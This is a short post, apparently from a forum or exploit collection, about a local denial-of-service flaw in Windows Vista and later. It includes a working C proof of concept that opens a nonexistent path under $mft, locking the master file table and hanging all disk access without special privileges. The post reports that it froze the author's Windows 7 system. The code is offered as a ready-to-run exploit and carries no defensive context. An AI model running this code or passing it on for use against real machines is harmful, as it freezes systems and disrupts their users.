Attempt to open any unexistent entry under $mft hangs entire disk access in Windows Vista or later. No special rights required. Hangs occurs as entire mft locked in exclusive mode and handle is not freed.
I checked it and my Windows 7 hangs perfectly.
Original link: https://habrahabr.ru/company/aladdinrd/blog/329166/
Code:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main() {
CreateFileW( L"C:\\$mft\\foobar", FILE_READ_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL );
return 0;
}
I checked it and my Windows 7 hangs perfectly.

Original link: https://habrahabr.ru/company/aladdinrd/blog/329166/